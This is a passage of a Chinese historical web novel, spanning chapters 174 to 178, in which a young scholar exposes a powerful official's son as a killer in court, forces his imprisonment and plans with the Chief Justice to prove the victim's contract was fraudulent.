裴少文脸上得意的狞笑,瞬间冻结。 堂外那片沉默的海洋,在这一刻,终于掀起了一丝肉眼可见的波澜。 王文成端坐于公案之后,那张清癯威严的脸上,肌肉不受控制地抽动了一下。 他死死地盯着堂下那个孑然而立的青衫身影,眼中先是错愕,随即化作了滔天的怒火。 在他看来,这已经不是审案,而是挑衅。 是赤裸裸地对他京兆府尹、对他背后所代表的权势的公然挑衅! 他猛地抓起惊堂木,却又在半空中生生顿住,那只握着惊堂木的手,青筋毕露。 他深吸一口气,将那股几乎要喷薄而出的怒意强行压下,声音却已然冰冷如铁,带着一丝被冒犯的厉色。 “陆明渊!你好大的胆子!” 王文成厉声呵斥道。 “你身为当朝贡士,未来的天子门生,却纵容家中护卫当街行凶,毁坏他人财物,此乃其一!” “在公堂之上,不敬上官,藐视公堂,此乃其二!” “本官看在你尚且年幼,又是初入京城,不懂规矩,已经法外开恩,从轻处罚,你……你有何不服?” 他的声音在大堂内回荡,每一个字都想将他钉在“狂悖无礼”的罪名之上。 然而,陆明渊依旧站得笔直,像一株在狂风中挺立的青松。 他目光清澈坚定,没有丝毫闪躲,直视公案后那双燃烧着怒火的眼睛。 他再次长身一揖,动作从容不迫,礼数周全,却偏偏透着一股令人无法忽视的倔强。 “回禀府尹大人,学生不服,只因大人所判,并非事实!” 他缓缓开口,声音不大,却字字清晰,掷地有声。 “裴少文言说,是其护卫过失杀人。可学生亲眼所见,并非如此!” 陆明渊的目光陡然转向一脸惊疑不定的裴少文,如利剑出鞘。 “是裴少文亲自行凶,一脚踹中老丈心口,致其倒地,后脑撞柱而亡!” 此言一出,满堂哗然! 裴少文脸色剧变,脱口而出:“你……你血口喷人!” 陆明渊却不理他,依旧对着王文成,声音愈发清朗。 “大人若是不信,可查验证据!其一,那王老丈倒地之处,血迹是从后脑流出,而其心口衣衫之内,必有淤青脚印!其二……” 他顿了顿,目光如炬,猛地指向裴少文的脚下。 “请大人查验裴少文的鞋尖!其右脚鞋尖之上,尚有喷溅而上的星星点点之血迹!” “而那位领罪的护卫,自始至终站在数步之外,其鞋履之上,却干净如新,并无半点血迹!” “敢问大人,若非行凶之时距离极近,血迹又怎会喷溅于鞋尖之上?” “刷——” 一瞬间,大堂内外,所有人的目光都齐齐射向了裴少文的脚下。 在那双华贵的云纹锦靴的右脚尖上,几点暗红色的斑点,显得格外刺眼! 那是铁证! 裴少文闻言,如同被毒蛇咬了一口,脸色“唰”地一下变得惨白,下意识地便想将脚缩回去。 可这一个本能的动作,在众人眼中,却无异于不打自招! 他的心瞬间沉到了谷底,一股冰冷的恐惧从脚底直冲天灵盖。 他怎么也想不到,这个看似文弱的书生,竟然有如此犀利的观察力! 王文成的心也同样猛地一沉。 他也没想到,这案子里竟然还藏着这样一处致命的破绽! 但仅仅一瞬间的慌乱之后,他便恢复了镇定。 官场沉浮数十年,早已让他练就了一副铁石心肠和一张刀枪不入的厚脸皮。 他重重地咳嗽了一声,将众人的注意力重新拉回到自己身上。 王文成沉声开口,语气中带着一丝不易察觉的轻蔑与不耐。 “一派胡言!” 王文成冷冷地反驳道。 “鞋尖有血,又能说明什么?不过是现场混乱,裴公子不慎踩到了老者的血迹罢了,此乃常理!” “至于那护卫鞋上无血,更不能说明他不是过失杀人!或许是他推搡之时,距离较远,这又有何奇哉?” 他将手中的“契约”拿起,轻轻晃了晃,声音陡然拔高。 “办案,讲的是人证,是物证!” “如今,这白纸黑字的契约是物证!裴公子与他护卫的供词,便是人证!” “人证物证俱全,已经形成铁案!” “陆明渊,你如今仅凭一点无端猜测,就妄言裴公子是凶手,你……可还有其他证据?” 他死死地盯着陆明渊,眼神如刀,仿佛在说:你拿不出证据,今日便是诬告之罪! 陆明渊迎着他的目光,挺直了胸膛,声音沉静如渊。 “学生亲眼所见,即为人证!” 话音未落,他身旁的若雪也立刻挺身而出,那张清冷的脸上满是决然,声音虽轻,却无比坚定。 “奴婢也亲眼所见,是裴公子行凶!奴婢,亦是人证!” 一个柔弱的婢女,竟也敢在这森严公堂之上,与权贵为敌! 众人尚在惊愕之中,不远处,一直沉默不语的张孝纯忽然深吸一口气,排众而出,对着公案重重一揖。 “学生张孝纯,也亲眼所见!愿为陆兄作证!” 他的声音有些颤抖,但眼神却异常坚定。 紧接着,李慕白也排众而出,面色凝重,沉声道。 “学生李慕白,也亲眼得见当时情形,与陆会元所言一般无二!” 一石激起千层浪! “学生也见到了!” “学生可以作证!” 人群中,又有几名当时在场的士子,被这股浩然之气所感染,纷纷站了出来。 一个,两个,三个…… 那一声声并不算洪亮,却充满了勇气的“学生可以作证”,汇成了一股洪流,狠狠地冲击着王文成那看似坚不可摧的公案! 王文成的脸色,终于变了! 从铁青,到酱紫,最后化为一片阴沉的煞白。 他万万没有想到,这个陆明渊在士林中的声望,竟然高到了如此地步! 竟然能让这么多未来的“天子门生”,为了他,甘愿冒着得罪权贵、自毁前程的风险,挺身而出! 他心中的杀意,在这一刻,前所未有的炽烈! “好……好得很!” 王文成怒极反笑,他缓缓站起身来,居高临下地扫视着堂下那一张张年轻而无畏的脸庞,声音阴冷。 “诸位,可要想清楚了!” 他的声音陡然拔高,充满了赤裸裸的威胁。 “尔等皆是当朝贡士,殿试在即,光明前程,就在眼前!” “可大乾律法森严,诬告朝廷命官之子,与杀人凶犯同罪!” “若是牵扯进这桩命案之中,是何等罪行,尔等心中可有掂量?” “此案,一日未完结,尔等便都是涉案之人!” “届时若是查明,裴公子乃是无辜受冤,那尔等,便是结党营私,公堂之上,集体作伪证!” “这罪名,有多大,你们自己清楚!” 他死死地盯着张孝纯和李慕白等人,一字一顿地说道。 “届时,本官只需一纸奏章,禀明当今圣上!尔等,莫说参加殿试,怕是连这京兆府的大门,都出不去!” 这番话,如同一盆冰水,兜头浇下! 张孝纯和李慕白的脸色,瞬间变得惨白。 他们寒窗苦读十数载,背井离乡,为的是什么? 不就是为了金榜题名,光宗耀祖吗? 殿试……那是他们一生最大的梦想,是他们家族几代人的希望! 他们方才挺身而出,凭的是一腔热血,是对陆明渊人格的信任。 可说到底,当时街上人多混乱,他们也只是远远地看到裴少文与老者发生了冲突。 究竟是不是裴少文亲脚踹出,谁也不敢说看得百分之百真切。 万一……万一真如王文成所说,最后查明裴家动用关系,将此事彻底扭转。 那他们“作伪证”的罪名,就真的要背上一辈子了! 毁了! 一切都毁了! 看着两人脸上那无法掩饰的恐惧与退缩,王文成心中冷笑一声,他知道,自己的威胁起作用了。 他立刻趁热打铁,语气稍缓,抛出了那根救命稻草。 “当然,法理不外乎人情。本官也知晓,诸位读书人,一时义愤,情有可原。” “若是此刻想明白了,知道此事与你们无关,那便退下。本官可以当做什么都没发生过。” “你们依旧是前程远大的大乾贡士,自可安安稳稳地参加殿试,绝不会有任何影响!” 这番话,是威胁,更是赤裸裸的利诱。 是一条通往锦绣前程的阳关道,和一条通往万丈深渊的独木桥,就摆在他们面前。 张孝纯和李慕白的身体微微颤抖,额头上渗出了冷汗。 他们看向陆明渊,眼神中充满了挣扎与愧疚,脚步,却在不由自主地想要后退。 整个大堂,再次陷入了令人窒息的死寂。 所有人都看着陆明渊,这个刚刚还振臂一呼、应者云集的会元,在这一刻,似乎又变回了孤身一人。 就在这千钧一发之际,陆明渊却忽然笑了。 那笑声清朗,带着一丝淡淡的嘲讽,回荡在压抑的大堂之内。 他转过身,对着张孝纯、李慕白等人,深深一揖。 “诸位同学高义,明渊心领。此事,与诸位无关,还请退下,莫要因我而耽误了锦绣前程。” 他的声音平静,却让张孝纯等人羞愧得无地自容。 然后,陆明渊猛地转回身,再次面向那高高在上的王文成。 他身上的气势,在这一刻,不减反增,锋芒毕露,光耀满堂! “王大人说得好!只是学生有一事不明!” 他朗声喝问,声音如洪钟大吕,震人心魄! “光天化日,朗朗乾坤!难道这天子脚下,京都之地,竟由你京兆府尹一人说了算吗?” “我等十年寒窗,为国选才,此乃殿试。殿试的规矩,乃是我大乾立朝之本,是太祖皇帝亲手所立!” “我等学子,既非案犯,又何来影响殿试之说?” “尔等学子殿试,又岂是你区区一个京兆府所能左右?” “朝堂之上,万事皆要讲一个铁证如山!” “此案疑点重重,漏洞百出,你身为京兆府尹,不思查明真相,反而在此颠倒黑白,威逼利诱!” “你敢将如此判决的案卷,呈上朝堂吗?你敢让刑部、大理寺、都察院三法司会审吗?” “陛下若是知晓你如此断案,又岂会轻饶了你?” 一连串的质问,如狂风暴雨,劈头盖脸地砸向王文成! 王文成被问得脸色煞白,嘴唇哆嗦,竟一句话也说不出来! 陆明渊上前一步,整个人的精神气魄,在这一刻攀升到了顶点! 第174章 裴少文过失杀人,收监入狱! 王文成站在公案之后,身体微微摇晃,那满是官威的嚣张脸色,此刻却无比苍白。 他看着堂下那个青衫身影,那身影明明单薄,此刻在他眼中,却仿佛化作了一座巍峨高山,压得他喘不过气来。 他输了。 在这一场气势与人心的对决中,他输得一败涂地。 他想用官威、用律法、用前程来威胁这些初出茅庐的学子,却忘了,这些学子心中,尚存着一本书,名叫《圣贤》。 他们心中,尚有一股气,名为“浩然”。 当这股气被点燃时,足以燎原。 王文成死死地握着拳头,指节因为用力而发白。 他知道,今日之事,若不能给出一个让外面那数百名士子满意的交代,他这京兆府尹的官帽,怕是就真的戴到头了。 届时,一封封弹劾的奏章会像雪片一样飞入皇宫。 罪名他都想好了:徇私枉法,激起民变,动摇国本……任何一条,都足以让他万劫不复。 他缓缓地吸了一口气,看着陆明渊,眼神复杂,有怨毒,有惊惧,但更多的是一种无力的妥协。 “陆明渊……” 王文成的声音沙哑干涩,再无半分先前的威严,“你……究竟想要如何?” 这话一出口,便等同于承认了自己的失败。 他不再是高高在上的审案官,而是一个被逼到墙角的谈判者。 陆明渊依旧站得笔直,他迎着王文成的目光,神情冷峻,没有丝毫胜利的得意,只有一种近乎冷酷的平静。 “学生不想要如何。” 他一字一顿,声音不大,却清晰地回荡在空旷的大堂里。 “学生,只要一个公道!” 他微微侧身,指向那瘫倒在地,已经吓得魂不附体的裴少文。 “此案案情如何,是非曲直,在场众人心知肚明,想必王大人心中,比谁都清楚!” 王文成闻言,脸上最后的一丝血色也褪尽了。 这案子如何,他当然清楚! 若非裴少文乃是吏部侍郎之子,他怎会如此颠倒黑白? 在官场浸淫数十年,他比谁都明白趋利避害的道理。 一个无权无势的老丈,和一个朝中四品大员的独子,换做是谁都知道怎么选。 可他千算万算,没算到会蹦出一个陆明渊。 一个不懂“规矩”,不畏权势,却偏偏身负会元之名,能一呼百应的硬骨头! 如今,群情激奋,数百名贡士堵在府衙门前。 这已经不是一桩简单的命案,而是演变成了一场足以震动朝野的政治风波。 他知道,想把这口黑锅硬扣下去,已绝无可能。 必须妥协。 “罢了……” 王文成疲惫地挥了挥手,仿佛瞬间苍老了十岁。 他想要先安抚住这些学子,将这滔天的风波平息下去。 “此案尚有疑点,本官会……” 他的话还没说完,便被陆明渊直接打断。 “大人!” 陆明渊的声音陡然拔高,带着不容置喙的决绝。 “学生不要一个‘尚有疑点’,也不要一个‘择日再审’!学生只要一个今日的公平!” 他的目光如刀,直刺王文成的心底。 “至少,凶犯裴少文,必须立刻收监关押!否则,今日之事,就算是闹到刑部,闹到大理寺,闹到都察院,学生也奉陪到底!” 三司会审! 这四个字,像四记重锤,狠狠地砸在王文成的心口上。 他浑身一颤,惊恐地看着陆明渊。 这个年轻人,是真的敢啊! 他竟然真的敢把事情捅到天上去! 到了那个地步,就再也不是他一个京兆府尹能压得住的了。 裴侍郎的脸面,他王文成的官位,乃至整个京兆府的声誉,都将被架在火上烤。 他闭上了眼睛,额头上青筋暴起,挣扎了许久,终于,那紧绷的身体彻底松弛了下来。 “唉……” 一声长叹,充满了无尽的颓败与不甘。 王文成猛地睁开眼,抓起那枚早已冰冷的惊堂木,重重一拍! “啪!” 清脆的声音,为这场惊心动魄的公堂对峙,画上了一个仓促的句号。 “肃静!” 王文成用尽全身力气喝道,声音却依旧显得有些虚弱。 他扫视堂下,沉声宣判。 “本案,经查,裴少文当街与人争执,致人死亡,虽无故意杀人之心,却有失手之实,判为过失杀人!其护卫裴安,同为从犯,一并论罪!” “陆明渊,毁坏他人财物,念其事出有因,从轻处罚,责令赔偿轿舆钱!” 说完,他仿佛被抽走了所有力气,重重地靠在椅背上,脸色阴沉得能滴出水来。 “此案暂且到此!即刻将裴少文、裴安收监,打入大牢,听候刑部复核!” 他顿了顿,目光阴冷地扫过陆明渊。 “至于赔偿事宜,你二人去偏厅自行商议!若是对本官判决不服,大可拿出更多铁证,再来翻案!” 说完,他猛地一甩袖袍,厉声喝道:“退堂!” 两个字,带着无尽的憋屈与怒火。 王文成说完,便在衙役的护卫下,头也不回地走进了后堂。 陆明渊看着王文成的背影,嘴角勾起一抹微不可察的弧度。 他长身一揖,对着那空无一人的公案,朗声道:“学生,遵命!” 他知道,这只是阶段性的胜利。 将“故意杀人”判为“过失杀人”,这是王文成最后的挣扎,也是他为裴家保留的最后一丝余地。 但,够了。 只要能将裴少文当堂定罪,收监入狱,他便赢下了这最关键的一步。 至于后续的罪名,他还有的是时间和办法。 “威——武——” 衙役们拖长的号子声再次响起。 当堂审判的结果,很快便传到了府衙之外。 “判了!判了!” “京兆府尹当堂宣判,裴少文过失杀人,收监入狱了!” “陆会元赢了!我们赢了!” 府衙外那片原本沸腾的海洋,在短暂的寂静之后,瞬间爆发出了雷鸣般的欢呼! “王大人公正!” “公道尚在!天理昭彰!” “陆会元威武!” 一声声发自肺腑的呐喊,汇成一股暖流,冲散了京城上空那片由权势织就的阴云。 这些寒窗苦读的士子,在这一刻,仿佛亲眼见证了自己书中读到的“道义”战胜了“权势”。 第175章 看来,这赔偿是谈不下去了? 那种巨大的精神满足感,让他们激动得热泪盈眶。 他们为陆明渊欢呼,也为自己心中那份尚未被世俗磨灭的理想与风骨而欢呼。 大堂之内,这欢呼声却像是催命的魔音。 “不……不……这不可能……” 裴少文听到“收监入狱”四个字,整个人如同被抽走了骨头,彻底瘫软在地。 他双目失神,口中喃喃自语,完全无法接受这个事实。 他可是吏部侍郎的儿子! 是裴家的独苗! 在京都这片地面上,他横行霸道了这么多年,杀过的人,砸过的店,何止一桩两桩? 哪一次不是他父亲派人出面,花点银子就轻松摆平? 被抓进京兆府的大牢? 这是他连做梦都不敢想的事情! 他从小听到的故事里,大牢是关押那些贱民、草寇的地方,怎么可能和他这种身份尊贵的人扯上关系? “咔嚓!” 冰冷沉重的镣铐,锁住了他的手腕。 那刺骨的寒意顺着手腕一路蔓延到心底,让他猛地打了个寒颤,终于从那无边的恐惧与错愕中惊醒。 他真的要坐牢了! “带走!” 衙役冷着脸,粗暴地将他和那名同样面如死灰的护卫拖了起来。 另一名衙役则走到陆明渊面前,做了个“请”的手势,态度却比之前恭敬了许多。 “陆会元,请吧。去偏厅商议赔偿的事。” 陆明渊点了点头,随着衙役向偏厅走去。 …… 偏厅之内,陈设简单,只有一张方桌,几把椅子。 光线有些昏暗,让这小小的房间显得愈发压抑。 裴少文被两名衙役按着肩膀,坐在椅子上。 他抬起头,看着施施然走进来的陆明渊,瞳孔中满是畏惧。 陆明渊没有坐下,只是静静地站在那里,目光淡漠地看着他。 这种眼神,比任何愤怒和嘲讽,都更让裴少文感到恐惧。 他再也撑不住了。 那份自幼养成的骄纵与跋扈,在冰冷的镣铐和对未知的恐惧面前,被彻底击得粉碎。 “扑通!” 裴少文猛地从椅子上滑了下来,不顾衙役的拉扯,竟直接跪倒在陆明渊的面前。 “陆……陆会元!陆公子!” 他的声音带着哭腔,充满了卑微的哀求。 “我错了!我真的知道错了!求求你,求求你高抬贵手,饶我一命吧!” 他一边说,一边拼命地磕头,额头撞在坚硬的青石板上,发出“咚咚”的声响。 “那……那轿舆钱,不用你赔!我赔!我赔给你!” 他语无伦次地说道,“我……我还给你钱!一万两!一万两白银!只要……只要你能跟王大人说一声,放我出去!求求你了!” 他伸出那双戴着镣铐的手,想要去抓陆明渊的衣角,仿佛在抓最后一根救命稻草。 陆明渊只是后退了半步,便轻易地避开了他的手。 他居高临下地看着在地上苦苦哀求的裴少文,眼神依旧没有一丝波澜。 许久,他才缓缓开口,声音清冷如冰。 “你不是知道错了。” 裴少文猛地抬起头,眼中燃起一丝希望。 陆明渊接下来的话,却将他这丝希望彻底碾碎。 “你是知道要死了。” 裴少文的身体猛地一僵,脸上的表情凝固了。 陆明渊看着他,嘴角泛起一丝冷峭的弧度。 “你以为,今日之事,只是赔些银子就能了结的吗?” “你以为,这京兆府的大牢,是你家的后花园,想进就进,想出就出?” “我告诉你,裴少文,这只是一个开始。” 陆明渊的声音压得很低,却带着一种令人不寒而栗的力量。 “王文成判你‘过失杀人’,不过是想息事宁人,给你裴家留几分颜面。可你以为,我就会这么算了?” 他俯下身,凑到裴少文的耳边,用只有两人能听到的声音,一字一顿地说道。 “这件事,若是京兆府不严惩,我就告到大理寺!大理寺不管,我就去刑部!刑部再不管,我就敲响都察院的登闻鼓!” “到时候,三司会审!” “我倒是要看看,你父亲一个吏部侍郎,能不能压得住这朝堂的三大法司!” “我倒是要看看,你裴家,在天下人的口诛笔伐之下,还能不能保得住你这条命!” 三司会审! 这番话吓得裴少文忍不住的打颤! 他虽然纨绔,但也知道这四个字代表着什么。 那是只有惊天动地的大案要案,才会启动的最高程序! 一旦启动,就再无转圜的余地! 他家的权势,在京兆府或许好用,可是在那三座代表着大乾最高法理的衙门面前,根本不值一提! “啊——!” 裴少文的心理防线在这一刻彻底崩溃,他发出了一声不似人声的尖叫,整个人变得有些痴狂。 他疯了一样地扑上来,死死地抓住了陆明渊的衣角,鼻涕眼泪糊了一脸。 “不要!不要告!求求你!求求你饶了我!我给你做牛做马!” “我把我们家所有的钱都给你!求你饶我一命……” 他状若疯魔,力气大得惊人,两名衙役一时竟没能拉开他。 陆明渊厌恶地皱起了眉头。 他没有再理会这个已经彻底失态的纨绔子弟,而是转向一旁同样目瞪口呆的衙役,冷冷地说道。 “看来,这赔偿是谈不下去了。” 他掸了掸被裴少文抓皱的衣角,仿佛上面沾了什么污秽之物。 “有劳转告王大人,一个月后,学生还要参加殿试,实在没有时间在此地耗费。” “至于这轿舆究竟要赔多少钱,等裴家想清楚了,直接说个数便是。” 那衙役愣了一下,下意识地问道:“那……陆会元您的意思是?” “我的意思很简单。” 陆明渊转身,向偏厅外走去。 “先放我离开。我想,王大人应该很清楚,只要我还在这京兆府里多待一刻,府衙外面的那些同学,便一刻也不会罢休。” 说完,他头也不回地走出了偏厅。 衙役看着陆明渊离去的背影,又看了看地上如同烂泥一般哭嚎的裴少文,心中一阵骇然,连忙跑去后堂向王文成禀报。 片刻之后,王文成疲惫而无奈的声音从后堂传来。 “让他走。” 三个字,宣告了这场博弈的最终结局。 陆明渊缓步走过那空旷肃杀的大堂,阳光从敞开的大门外照射进来。 他身后,拖出了一道长长的、笔直的影子。 当他踏出京兆府大门的那一刻,外面那震天的欢呼声,达到了顶峰。 第176章 我告诉你,这远远不够! “陆会元出来了!” “陆兄!” 数百名士子自发地让开一条道路,目光灼灼地望着那个青衫身影。 那目光里,有敬佩,有感激,更有种找到了主心骨般的炽热。 他们今日,不仅仅是为了一条人命,一个公道而来。 他们更是为了自己胸中那口不平之气,为了圣贤书里读到的那些道理而来。 “诸位同学!” 陆明渊停下脚步,对着四方深深一揖。 他清朗的声音,压过了鼎沸的人声,清晰地传入每个人耳中。 “今日之事,非明渊一人之功,实乃诸位同学心中公理尚存,浩然之气未泯!” “是大家,一同为这京城,为这天下,守住了一分公道!” 他没有居功,反而将所有的荣耀,都归于在场的每一个人。 这番谦逊而恳切的话语,比任何豪言壮语都更能打动人心。 士子们闻言,更是激动不已,只觉得与有荣焉,胸中那股为理想而战的热血,烧得更旺了。 “陆会元高义!” “我等读书人,当如陆会元!” 赞誉声中,陆明渊只是平静地微笑颔首,而后穿过人群,向着状元楼的方向走去。 若雪紧随其后,在她身边,那个刚刚脱离魔爪的少女,则亦步亦趋地跟着,小手紧紧攥着若雪的衣角。 回到状元楼,掌柜的早已迎了出来,满脸堆笑。 待房门关上,隔绝了外界的喧嚣,若雪才终于有机会开口。 她看了一眼那蜷缩在角落里,依旧惊魂未定的少女,轻声对陆明渊说道。 “公子,我已经问过了。这姑娘名叫阿青,她祖父姓王,平日里就在西市口卖些草鞋。她祖母多年前就瞎了眼,一家人的生计,全靠她祖父那点微薄的利润,和她自己做些针线活来维持。” 若雪顿了顿,声音更低了些。 “那裴少文前几日路过西市口,一眼就看中了阿青,非要纳她为妾。” “王老丈自然不肯,裴少文便使了手段,说是要娶阿青为妾……今日,便是来强行抢人的。” 陆明渊静静地听着,目光落在阿青那瘦弱的肩膀上。 他心中微叹,这便是盛世之下的蝼蚁,一阵微风,便足以让他们粉身碎骨。 “公子,我们接下来该如何处置?” 若雪问道,“她祖母那边,还不知道这里发生的事情。总不能一直让她待在客栈里,裴家那边……” 不等陆明渊回答,房门便被轻轻敲响。 “陆会元,外面有位自称赵府管家的人求见,说是奉了大理寺卿赵浩然大人的命令,请您过府一叙。” 客栈伙计在门外恭敬地说道。 赵浩然! 陆明渊心中一动。 他沉吟片刻,对若雪道:“收拾一下,你和阿青,随我同去。” 赵府管家亲自将陆明渊迎入府中,穿过几重庭院,来到一处雅致的书房。 推开门,一股浓郁的墨香混合着淡淡的檀香扑面而来。 书房之内,四壁皆是顶到房梁的书架,上面密密麻麻地排满了各类典籍卷宗。 一位身着绯色官袍,面容清癯,眼神锐利如鹰隼的中年人,正站在窗前,负手而立。 他听见脚步声,缓缓转过身来,目光在陆明渊身上停留了片刻,随即落在了他身后的阿青身上。 赵浩然微微颔首,算是回应。他没有多说废话,直接开门见山。 “明渊,你今日在京兆府,做得很好。有风骨,有智谋,不坠我辈读书人的名声。但是……” 他话锋一转,眼神陡然变得凝重起来。 “你可知,你惹上了天大的麻烦?” 陆明渊神色平静:“学生知道,是吏部侍郎裴家。” “吏部侍郎?你只知其一,不知其二。” “这裴宽,是当朝小阁老的心腹!” “他出身的河东裴家,乃是我大乾立国以来的六大世家之一,门生故吏遍布朝野。” “裴宽的父亲,更是前朝的户部尚书,虽已致仕,但在朝中的影响力,依旧盘根错节,深不可测!” “你今日,不是得罪了一个侍郎,而是直接撞上了盘踞在大乾朝堂之上,错综复杂、根深蒂固的世家!” 陆明渊的瞳孔微微一缩。 他预料到裴家势大,却没料到竟是如此庞然大物。 小阁老、六大世家……这些名词,每一个都代表着足以让寻常官员望而生畏的恐怖势力。 “现在,你把今天在公堂之上,以及之前发生的所有事情,一字不漏的,全部告诉我。” 赵浩然坐了下来,神情严肃,“我要知道,到底发生了什么。” 陆明渊定了定神,便将自己从砸轿开始,到公堂对质,再到最后逼迫王文成判案的整个过程,详详细细地叙述了一遍。 赵浩然静静地听着,手指无意识地在桌案上轻轻敲击着,发出“笃、笃”的声响。 待陆明渊说完,他并未立刻发表意见,而是唤来一名心腹下人,指了指角落里的阿青,吩咐道。 “带这位姑娘下去,让内子派个妥当的丫鬟,好生安抚,问清楚那份契约的来龙去脉,务必问得越细越好。” 下人领命而去。 书房里,一时间陷入了沉默。 过了约莫一炷香的功夫,那下人匆匆返回,躬身禀报道。 “大人,已经问清楚了。那位阿青姑娘所言,与陆会元所说大同小异。只是……多出了一条至关重要的消息。” “说。”赵浩然眼中精光一闪。 “阿青姑娘说,她祖父王老丈,根本不识字!” “那份所谓的卖身契,是裴府的下人念了一段完全不同的话,哄骗老丈按下的手印!” “不识字?” 赵浩然闻言,那双锐利的眼睛瞬间亮了起来,仿佛黑夜中陡然划过一道闪电! 他猛地一拍桌案,脸上露出一丝冷峻的笑意。 “好!好一个不识字!明渊,这件案子的破绽,就在这里!” 陆明渊心中一动,隐约明白了什么。 赵浩然看着他,眼神中带着几分考教的意味。 “你以为,王文成判了一个‘过失杀人’,你就赢了?我告诉你,这远远不够!” “一个过失杀人,上下活动一番,再加上裴家的势力,最后很可能连流放三千里都判不到,关上几年,使些银子,便能脱罪出来!” “届时,裴家必然会对你,对这姑娘一家,展开疯狂的报复!” 第177章 爹,救我!救我出去! 赵浩然站起身,在书房中踱了踱步,声音变得铿锵有力。 “想要让裴少文再无翻身之地,想要让他偿命,就必须将此案的性质,彻底扭转过来!” “这不是一桩简单的街头斗殴,而是强抢民女不成,恼羞成怒,当街行凶杀人!这案子的性质,就完全不同了!” 他回过头,目光灼灼地看着陆明渊。 “现在,你可明白,为何王文成在公堂上,要死死咬定那份契约为真?” “因为只要有那份契约在,哪怕是哄骗来的,此事最多也只能算是围绕非法买卖人口产生的纠纷,而非强抢民女!” “一字之差,罪责天壤之别!” 陆明渊听完,只觉得背后一阵冷汗。 他恍然大悟,自己终究还是年轻了。 在公堂之上,他只想着如何利用舆论,逼迫王文成将裴少文定罪收监,却忽略了最关键的细节。 王文成那看似妥协的判决里,实则藏着最阴险的后手。 “多谢叔父指点迷津,明渊……险些铸成大错。” 陆明渊躬身一揖,心悦诚服。 “罢了。” 赵浩然摆了摆手,脸上露出一丝自负的傲气。 “我执掌大理寺十余年,审过的案子比你读过的书还多。这点官场上的龌龊伎俩,若是还看不出来,这大理寺卿也就算白干了。” 他重新坐下,神色恢复了严肃。 “如今,有两件事最重要,你听好了。” “第一,这阿青姑娘和她祖母的安危。她们是此案最重要的人证,绝不能出任何差池。” “稍后,我会以大理寺的名义,将她们祖孙二人,暂时‘关押’进我大理寺的诏狱。” “任凭裴家手眼通天,也休想伸进手去!” 陆明渊心中一暖,大理寺诏狱,名为关押,实为保护。 赵浩然此举,是彻底断了裴家的后路。 赵浩然的目光转向陆明渊。 “第二,我们需要证据!证明那王老丈不识字的证据!” “这需要他平日里街坊四邻的无数佐证,这件事,人多口杂,我的人不方便出面,你去办,最合适不过。” “你在士子中的声望,足以让那些平头百姓信任你。” 陆明渊重重点头:“学生明白!” “至于剩下的事情,” 赵浩然的语气沉了下来。 “你就不要再节外生枝了。此案已经牵扯到了小阁老,必然会在朝堂之上引起一场风波。” “接下来的博弈,已经不是你能插手的了。” “你要做的,就是安心等待殿试,只要你能在殿试上大放异彩,圣心独钟,你的分量,便又重了几分。” 一番话说完,赵浩然端起了茶杯,轻轻吹了吹。 陆明渊心中充满了感激。 他知道,赵浩然今日将他叫来,说出这番话,布下这个局,等同于将他绑在了这件事上,与那权势滔天的裴家,正式对垒。 “叔父高义,明渊……” “行了。” 赵浩然不耐烦地摆了摆手,打断了他的话,嘴角却带着一丝不屑的笑意。 “别人怕他河东裴家,我赵浩然不怕。” “我陇西赵氏,未必就弱于他!此事你无须多虑,做好你该做的事便可。” 陆明渊深深吸了一口气,不再多言,只是再次郑重地行了一个大礼。 所有感激,尽在这一拜之中。 从赵府出来,夜色已深。 陆明渊与若雪走在清冷的街道上,心中却是一片火热。 与此同时。 裴府,书房之内,灯火通明。 一个面色阴沉,与裴少文有七分相似的中年男子,正听着一名师爷的禀报。 他便是当朝吏部侍郎,裴宽。 当听到“收监入狱”四个字时,裴宽手中的那盏名贵钧瓷茶杯,被他生生捏成了碎片! 茶水混合着鲜血,顺着他的指缝滴落,他却恍若未觉。 “好……好一个陆明渊!好一个京兆府!” 裴宽的声音,阴冷得如同数九寒冬的冰。 他缓缓站起身,眼中杀机毕露。 “备轿!去京兆府!我倒要亲眼见识见识,谁敢动我裴宽的儿子!” 夜色如墨,官轿在石板路上疾行,轿夫的脚步声急促而沉闷。 京兆府大牢,从来不是什么善地。 即便是为了装点门面,此地的阴暗与潮湿也依旧浓得化不开。 空气中弥漫着一股霉变、腐烂与绝望混合在一起的独特气味。 火把在墙壁上投下长长的、扭曲的影子,像是无数挣扎的鬼魂。 狱卒们早已得了消息,一个个噤若寒蝉,连大气都不敢喘。 府尹王文成更是亲自候在门口。 平日还算威严的脸上,此刻堆满了谦卑而惶恐的笑意。 “下官……下官见过侍郎大人。” 王文成躬着身子,态度颇为恭敬。 裴宽甚至没有看他一眼,官袍下摆一甩,径直从他身边走过。 他身后的师爷丢下一句“大人要见公子”,便紧随其后。 王文成僵在原地,后背早已被冷汗湿透。 他知道,这位吏部侍郎,是来问罪的。 穿过阴冷悠长的甬道,来到关押重犯的监区。 这里比外面更加不堪,墙角渗出的水渍蔓延开来,看起来便破旧不堪。 最里间的一间牢房,裴少文正蜷缩在铺着发霉稻草的床板上。 他身上的锦衣华服已经变得皱巴巴,沾满了污秽,头发散乱,脸上还挂着未干的泪痕与惊恐。 哪里还有半分平日里横行霸道的纨绔模样。 听到那沉重的铁锁被打开的声音,裴少文一个激灵,猛地抬起头。 当他看清来人是裴宽时,那双空洞的眼睛里瞬间爆发出狂喜的光芒。 “爹!爹!您终于来了!” 裴少文连滚带爬地扑了过来,一把抱住裴宽的大腿,嚎啕大哭起来。 “爹,救我!救我出去!我不想待在这鬼地方!这里好黑,好臭,我好怕……” 他哭得涕泪横流,毫无形象可言。 然而,他等来的,并非是裴宽温暖的安抚,而是一声冰冷刺骨的怒喝。 “废物!” 裴宽猛地一脚,将他踹翻在地。 这一脚力道极大,裴少文在地上滚了两圈,撞在冰冷的墙壁上,发出一声闷哼。 他难以置信地抬起头,望着自己的父亲,脸上的狂喜凝固,转为错愕与恐惧。 第178章 这件事,我裴家不会就这么算了 “你还有脸哭?还有脸叫我救你?” 裴宽居高临下地俯视着他,那双阴鸷的眼睛里,燃烧着压抑不住的怒火与失望。 他捏碎钧瓷杯的手,此刻背在身后,依旧隐隐作痛,但远不及心中的怒火来得灼人。 “我裴宽的儿子,我河东裴家的子孙,竟然为了一个贱民,当着满京城士子的面,被人逼得下跪求饶!” “你把我的脸,把裴家的脸,都丢尽了!” “你平日里的嚣张跋扈呢?你的那些狐朋狗友呢?” “怎么,到了公堂之上,就只剩下跪地求饶的本事了?” 裴宽的声音不大,却字字如刀。 “我……我……” 裴少文被骂得面无人色,瑟瑟发抖,一句话也说不出来。 